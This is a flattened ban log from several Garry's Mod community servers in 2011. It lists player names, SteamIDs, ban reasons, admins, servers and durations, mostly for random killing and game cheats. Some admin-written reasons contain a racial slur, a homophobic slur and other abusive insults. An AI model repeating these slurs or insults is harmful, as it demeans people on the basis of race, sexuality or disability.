Fox STEAM_0:0:29298220 ' I ' m not spawning = ) ' +Wigbig Killa's Zombie Survival Server Zombie Survival 0:6:0 Unbanned +11:13 pm 07-11-11 {Dex} Your discount doctor STEAM_0:1:5819137 +chill +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Sniper Wars +0:0:10 Unbanned +9:32 pm 07-11-11 Unknown STEAM_0:0:17086047 +Leaving +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +9:32 pm 07-11-11 Unknown STEAM_0:0:17086047 Pushing people off +leading to their death as innocent. +[SP]+ ULTRA Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:5:0 Unbanned +6:46 pm 07-11-11 Teribletwinz STEAM_0:1:17119398 rdm * 6 +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +12:13 pm 06-11-11 josef.gajdos STEAM_0:0:40857951 For your low karma +and constant rdm you are hearby banned +[SP]+ Mr Dobilina +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:56 pm 05-11-11 Unknown STEAM_0:0:13447333 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +8:42 pm 05-11-11 Unknown STEAM_0:0:26505662 RDM + Leaving Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 14:0:40 Unbanned +8:24 pm 05-11-11 The Enola Gay STEAM_0:0:30174673 Prop killing ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:20 Unbanned +8:01 pm 05-11-11 ^2saint STEAM_0:1:44406675 troll Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +7:46 pm 05-11-11 daedalus M1a1 STEAM_0:1:32161436 Propkilling with +warning Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +7:22 pm 05-11-11 Unknown STEAM_0:0:22068730 RDM Chizuru +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:0 Unbanned +7:14 pm 05-11-11 {A.S.C} Grafik Error LDR STEAM_0:1:24741198 Base +Delete +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 2:12:0 Unbanned +6:44 pm 05-11-11 connorboii STEAM_0:1:34108825 Teamkilling Traitors ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +6:11 pm 05-11-11 Unknown STEAM_0:0:18994694 Proppushing +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +2:57 pm 05-11-11 â? Dragon Slayer â? STEAM_0:1:37698593 idiot +Wigbig Killa's Zombie Survival Server Zombie Survival 0:1:0 Unbanned +1:29 pm 05-11-11 Unknown STEAM_0:1:22043872 RDM + retard +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:41 pm 04-11-11 Deathcharge STEAM_0:1:34086223 RDM +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +8:28 pm 04-11-11 killerpanda STEAM_0:0:35948101 Base deletion during +faction war +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +7:56 pm 04-11-11 Unknown STEAM_0:1:36498545 RDM +[SP]+ Marked One +[SK] Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +5:20 pm 04-11-11 L!key STEAM_0:1:30573475 RDM and didn ' t respond. ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +9:21 pm 03-11-11 ^2[RANGER]^5R4SOK^4Cake^8RaVE! STEAM_0:1:26966820 +RDM +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:3:0 Unbanned +8:21 pm 03-11-11 Alejandro STEAM_0:0:34662676 Teamkilling Traitor ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:20 Unbanned +8:05 pm 03-11-11 Marcus Hansen STEAM_0:0:25326536 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +6:45 pm 03-11-11 Trollie STEAM_0:1:8475562 RDM/Goombastomping +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +6:12 pm 03-11-11 Trollie STEAM_0:1:8475562 Continious shitposting on +the forums +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:5 Unbanned +5:34 pm 03-11-11 Unknown STEAM_0:1:19812177 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:0:29239364 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:0:19038701 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:1:21605065 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:1:26344770 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:34 pm 03-11-11 Unknown STEAM_0:1:38812224 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:29 pm 03-11-11 |G4G| DksKnight {Dks} STEAM_0:0:32982037 Cheat: +CubHack (Console) Killa's Zombie Survival Server Zombie Survival +Permanent Banned +5:07 pm 03-11-11 gÃ¥ væk .:DK:. STEAM_0:1:22832114 Alt of banned ID +STEAM_0:1:32425210 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:20:5 Unbanned +1:26 pm 03-11-11 Doctor Sunny Sparkle STEAM_0:1:30471608 RDM - +Because Swag +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:13 pm 03-11-11 :D lol :D STEAM_0:1:32425210 RDMing. Gah! +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:37 pm 03-11-11 GerMany-PrOtoTYP STEAM_0:1:43027554 Tried to RDM +but failed miserably. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +7:31 pm 02-11-11 [DC] Xenonmorth ()[]_)/):D STEAM_0:0:26973706 Basing +offmap +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 2:12:0 Unbanned +5:14 pm 02-11-11 Monster STEAM_0:0:30611686 claiming to know +owner,base spawning people,asshole +[SP]+ Anime Official Zombified +World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +2:00 pm 02-11-11 Unknown STEAM_0:0:25914952 I'm gun UDP flood +you!!!oneoneone (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:57 am 02-11-11 Unknown STEAM_0:1:20197561 Base deleting during +war Nekoace Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +10:04 pm 01-11-11 cOOckie Monster [gmod.biz] STEAM_0:0:9184559 RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:42 pm 01-11-11 Unknown STEAM_0:0:25155785 rdm Nekoace +Fretta|Tigergruppe Kommand GunGame 2:2:0 Unbanned +3:09 am 01-11-11 xXGr4veSl4yerXx STEAM_0:1:32178703 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +3:09 am 01-11-11 É É§Ï?Å?ŧâ?¢(-Î?Å?Å?ТÎ?ᶠ� +STEAM_0:1:30862688 rdm <[FoT]> .ExEcute Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:2:0 Unbanned +9:17 pm 31-10-11 Msieur chat STEAM_0:1:12466191 Cheat: Speedhack +Wigbig Killa's Zombie Survival Server Zombie Survival 694:10:39 Banned +6:30 pm 31-10-11 Z_DawgCW STEAM_0:1:45538973 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +4:40 pm 31-10-11 Miss Rarity STEAM_0:0:23235859 Randomly attacking +and ignoring admin COUNTLESS of times. +[SP]+ ULTRA Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +11:50 pm 30-10-11 macd1102 STEAM_0:1:32218025 RDM constantly +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:38 pm 30-10-11 â?¦[BB]â?¦ Brosef STEAM_0:1:30162895 Proppushing and +dicking +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +8:27 pm 30-10-11 Unknown STEAM_0:0:12698447 Ghosting, ignoring me, +leaving Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +4:25 pm 30-10-11 Unknown STEAM_0:0:18395000 Teamkilling as T +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:24 pm 30-10-11 [HG] TheScorpYoN STEAM_0:0:18395000 Teamkilling 2 +Traitors +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:20 Unbanned +12:22 pm 30-10-11 Unknown STEAM_0:1:19154921 RDM and leaving +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 +Unbanned +12:20 pm 30-10-11 [TBR] Holli3 STEAM_0:1:17396989 Idiot +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +12:04 pm 30-10-11 CrosS STEAM_0:1:22682644 Dicking around and causing +other peoples' death +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:1:0 Unbanned +1:59 am 30-10-11 GreedyGoat1337â?¢ STEAM_0:0:26567268 Cheat: +TrooperHack (Console) Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +1:09 am 30-10-11 Stealth STEAM_0:0:17486334 Alt of banned ID +STEAM_0:1:18704943 - Unbanned (Console) Official Zombified World|Lvl +Cap +10 Zombified World 0:1:18 Unbanned +12:49 am 30-10-11 Unknown STEAM_0:1:30473979 Cheat: Ares/lol/kon +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:48 am 30-10-11 Unknown STEAM_0:0:28183970 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:48 am 30-10-11 Unknown STEAM_0:0:20743276 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:47 am 30-10-11 Unknown STEAM_0:1:421861172 Cheat: Speedhack +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:46 am 30-10-11 Unknown STEAM_0:1:30470607 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:46 am 30-10-11 Unknown STEAM_0:1:18704943 Cheat: Code +injection(unbanned) (Console) Fretta|Tigergruppe Kommand Prop Hunt +0:1:41 Unbanned +12:46 am 30-10-11 Unknown STEAM_0:0:30256551 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:46 am 30-10-11 Unknown STEAM_0:1:33289438 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Prop Hunt Permanent Banned +12:32 am 30-10-11 killer mellon <(O)>___<(O)> STEAM_0:0:33723746 +Breaking tonnes of rules, pls read them and also I am pretty sure you +are aware of all these rules. +[SP]+ ULTRA Official Zombified +World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +3:55 pm 29-10-11 SayNay STEAM_0:1:14429876 Mega-idiot RDMer, twat +that fails at lying. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +3:21 pm 29-10-11 Mikaydee STEAM_0:0:19874570 Can't make up his mind: +RDM. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:5:0 Unbanned +2:20 pm 29-10-11 Nicky STEAM_0:0:29007231 RDM during TTT - has +apologised. Warning issues. +[SP]+ Nemesis Fretta|Tigergruppe +Kommand Deathrun 0:2:0 Unbanned +2:00 pm 29-10-11 Technokenisis STEAM_0:0:27789630 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +12:54 pm 29-10-11 Unknown STEAM_0:0:36613827 Multiple RDM + +disconnect occasions. ( 600 Karma ) +[SP]+ Nemesis Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 7:0:0 Unbanned +5:01 am 29-10-11 salam STEAM_0:0:24652956 RDMing, Whining +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:4:20 Unbanned +3:44 am 29-10-11 +[SP]+ BurritoBazooka STEAM_0:1:30535121 Test ++[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +3:40 am 29-10-11 Unknown STEAM_0:1:41737036 RDM, Leaving, Paranoid +Bastard and Not listening to admin +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:0 Unbanned +11:49 pm 28-10-11 [AP]Phexor STEAM_0:1:41792560 Permanently banned, +RDM Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:48 pm 28-10-11 Yashmon STEAM_0:0:14696634 Cheat: Code injection ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:0:0 Unbanned +10:12 pm 28-10-11 G.B. Hindert STEAM_0:0:17086047 RDM then leave. ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +6:34 pm 28-10-11 FraGzz STEAM_0:1:45361068 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:11 pm 28-10-11 Unknown STEAM_0:0:30440286 RDM and left... +AGAIN... MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:0:0 Unbanned +5:05 pm 28-10-11 §* SMAIL°oÒ?Ò?lιNÐ?*§ STEAM_0:1:27050961 RDM ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:08 pm 28-10-11 Unknown STEAM_0:1:19791718 Trying to get me(admin) +banned, lying, randomly killing me, rage-leaving with an idiotic +reason +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +1:51 am 28-10-11 Buckchoyyyyyyyyyyyyyyyyyyyyyyyy STEAM_0:0:6069271 +dumb nigger MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +1:23 am 28-10-11 Jay` STEAM_0:1:31810238 no i'm the real mad mann now +dont rdm next time MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +11:01 pm 27-10-11 Dutchy STEAM_0:0:33781737 RDM - Spamming Prick ( +During TTT ) +[SP]+ Nemesis Fretta|Tigergruppe Kommand Prop Hunt +30:0:0 Unbanned +8:37 pm 27-10-11 Unknown STEAM_0:1:9370258 Might change to this, +maybe, letting it stay atm +[SP]+ ULTRA Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 14:0:0 Unbanned +8:36 pm 27-10-11 nyan cat (barxbar) STEAM_0:1:9370258 'Bored' +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:42 pm 27-10-11 Unknown STEAM_0:1:33085260 RDM +[SP]+ Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:21 am 27-10-11 Unknown STEAM_0:1:96304 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Ultimate Chimera Hunt 1:0:0 Unbanned +9:57 pm 26-10-11 Unknown STEAM_0:0:24788990 Randomly flaming people + +telling Company of Heroes pro to shut up(+admin) +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Prop Hunt 0:12:0 Unbanned +8:52 pm 26-10-11 Unknown STEAM_0:0:42872753 Trolling, namestealing, +Mass RDM and leaving Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +8:19 pm 26-10-11 MarviinR STEAM_0:1:40250551 retard Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:06 pm 25-10-11 BURNT FACE MAN STEAM_0:1:24650349 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:36 pm 25-10-11 Unknown STEAM_0:0:24203006 RDM and disconnected ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:37 pm 25-10-11 [DC] Xenonmorth My 5000 hour no STEAM_0:0:26973706 +idiot Wigbig Killa's Zombie Survival Server Zombie Survival 0:1:0 +Unbanned +6:19 pm 25-10-11 mcOmc STEAM_0:1:29078141 derp Nekoace Killa's +Zombie Survival Server Zombie Survival 1:9:20 Unbanned +3:45 pm 25-10-11 ^0..::Raptor::..^1K3nny STEAM_0:1:33447314 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:45 pm 25-10-11 ^0..::Raptor::..^1Cyrius virus STEAM_0:1:2304598 +rdm Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:45 pm 25-10-11 Rollie STEAM_0:1:8475562 rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +12:46 pm 25-10-11 Unknown STEAM_0:0:37586778 RDM Ban request Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +12:22 am 25-10-11 macd1102 STEAM_0:1:32218025 RDM +[SP]+ Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:07 am 25-10-11 JÐ?MϵÍ?S STEAM_0:0:31219365 Trolling is an art. ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Deathrun 0:0:30 Unbanned +3:26 pm 24-10-11 Mai Haruhi STEAM_0:1:19791718 treason +[SP]+ CCD +Fretta|Tigergruppe Kommand Zombie Onslaught 0:7:30 Unbanned +2:49 pm 24-10-11 O' Danny Boy STEAM_0:1:40229947 RDM# +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:22 pm 24-10-11 Unknown STEAM_0:0:44519498 RDM Then Left. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +1:19 am 24-10-11 LookB4UC* STEAM_0:1:19559564 Alt of banned ID +STEAM_0:0:14581192 (Console) Killa's Zombie Survival Server Zombie +Survival 0:1:30 Unbanned +10:26 pm 23-10-11 Flapadar STEAM_0:0:10839552 test Cutie +Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +7:17 pm 23-10-11 DreamH4ck3R-.^ STEAM_0:1:24031774 Shut the fuck up ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Prop Hunt 1:16:40 Unbanned +5:25 pm 23-10-11 homerboy12345 STEAM_0:0:26798725 RDM, not +answering Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +4:04 pm 23-10-11 Unknown STEAM_0:0:33459537 Cheat: Code +injection(SQLite) (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:02 pm 23-10-11 Unknown STEAM_0:1:17267267 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:02 pm 23-10-11 Unknown STEAM_0:0:33459537 Cheat: rc/rf (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:57 pm 23-10-11 paciu98 STEAM_0:0:23669277 Retard (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:44059222 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:7382018 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:44810352 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:26676964 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:24988955 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:14922341 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:24974888 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:36180396 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:1:30107073 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:55 pm 23-10-11 Unknown STEAM_0:0:43988463 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:56 pm 23-10-11 Assassinating Cat - <3 Oreos STEAM_0:0:26571541 RDM +- Massive twat +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 30:0:0 Unbanned +1:16 pm 23-10-11 FANTOM STEAM_0:0:36473009 Cheat: Speedhack Wigbig +Killa's Zombie Survival Server Zombie Survival 2:2:0 Unbanned +1:15 pm 23-10-11 Sneaky Elephant STEAM_0:1:29945337 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:38 am 23-10-11 [LCS] Source Shift [ASD KING] STEAM_0:1:34725530 +RDMing fellow traitors. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:2:0 Unbanned +2:52 am 23-10-11 Mitch88ell STEAM_0:1:22396842 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:50 am 23-10-11 Cheesefake Caketory STEAM_0:0:14581192 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:46 am 23-10-11 Unknown STEAM_0:1:41997634 FUCK YOU BAN SYSTEM MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +2:39 am 23-10-11 24.Pz.Pion.Meyer STEAM_0:0:12698447 RDM Learn to +play. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +2:15 am 23-10-11 Unknown STEAM_0:0:5111663 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:32 pm 22-10-11 MAD MANN STEAM_0:1:17237739 Nekoace Official +Zombified World|Lvl Cap +10 Zombified World 0:0:1 Unbanned +9:30 pm 22-10-11 Unknown STEAM_0:1:29603475 faggot Nekoace Official +Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +2:49 am 22-10-11 Unknown STEAM_0:0:8403669 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +2:49 am 22-10-11 Stool STEAM_0:0:8403669 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:41 pm 21-10-11 Unknown STEAM_0:0:28363046 RDM, leaving - Reduced +by flap Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 117:19:25 Unbanned +9:17 pm 21-10-11 Kakao NAMNAM``:D DK! STEAM_0:0:40546648 RDM +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +5:03 pm 21-10-11 Jake STEAM_0:0:15009263 Congratulations! You are +todays winner. Your prize is a 2 week ban!! Don't spend it all at +once. (Console) Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 14:0:0 Unbanned +1:46 am 21-10-11 Unknown STEAM_0:0:37572022 random KOS ' ing then +leave +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +10:40 pm 20-10-11 mgs STEAM_0:1:43634105 Various broken rules. ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 0:4:0 Unbanned +7:41 pm 20-10-11 Unknown STEAM_0:1:26198367 RDM + disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:49 pm 20-10-11 Unknown STEAM_0:0:30440286 RDM + disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:05 pm 20-10-11 Unknown STEAM_0:0:40979860 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 100:0:0 Unbanned +4:14 pm 20-10-11 lehel.markon STEAM_0:1:44698696 RDM and baiting +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:07 am 20-10-11 Unknown STEAM_0:0:38108535 RDM then leaving. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand One In The Chamber 1:0:0 Unbanned +8:31 pm 19-10-11 Mr. Smart Ash STEAM_0:0:37791313 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:19 pm 19-10-11 Unknown STEAM_0:0:26827370 Mass RDM,Troll,Mic +spam,Asshole +[SP]+ Anime Fretta|Tigergruppe Kommand Rebels vs. +Combine Permanent Banned +3:58 pm 19-10-11 Unknown STEAM_0:0:5123570 RDM as D then left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:59 pm 19-10-11 Unknown STEAM_0:1:22364139 RDM and left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:14 am 19-10-11 Unknown STEAM_0:0:39711441 Baseing out of map ++[SP]+ Anime Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +6:13 pm 18-10-11 Unknown STEAM_0:1:14974814 RDM then leaving +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +12:48 am 18-10-11 Unknown STEAM_0:1:13717323 RDM and left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +12:39 am 18-10-11 Unknown STEAM_0:1:23629652 Admin Impersonation ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +17:8:40 Unbanned +9:32 pm 17-10-11 Professional Russian STEAM_0:1:30808715 Several +RDMs Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +9:10 pm 17-10-11 Ronnie STEAM_0:1:6017921 Enjoy your comedic ban. +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:40 pm 17-10-11 â?¾Ï?â?½MrMonkeÆ´â?¢ STEAM_0:1:39312723 +[SP]+ +Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:21 pm 17-10-11 rex123303 STEAM_0:1:35831454 Killing fellow +traitor. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +1:54 am 17-10-11 The Grungy Gremlin STEAM_0:0:30541421 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:15 am 17-10-11 Ox3n . x STEAM_0:1:19200239 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:49 pm 16-10-11 Unknown STEAM_0:0:15409240 RDM and general idiot ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +10:43 pm 16-10-11 Black Goat Fucker STEAM_0:1:18914322 RDM and +general idiot +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +9:38 pm 16-10-11 Unknown STEAM_0:0:37493403 RDM and left. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:50 pm 16-10-11 Blu SpyypS STEAM_0:1:16645930 shut up Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +5:50 pm 16-10-11 :, -Shiro- ,: STEAM_0:0:28716385 rdm Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:46 pm 16-10-11 _-=CHING=-_ STEAM_0:0:23836111 RDM +[SP]+ Anime 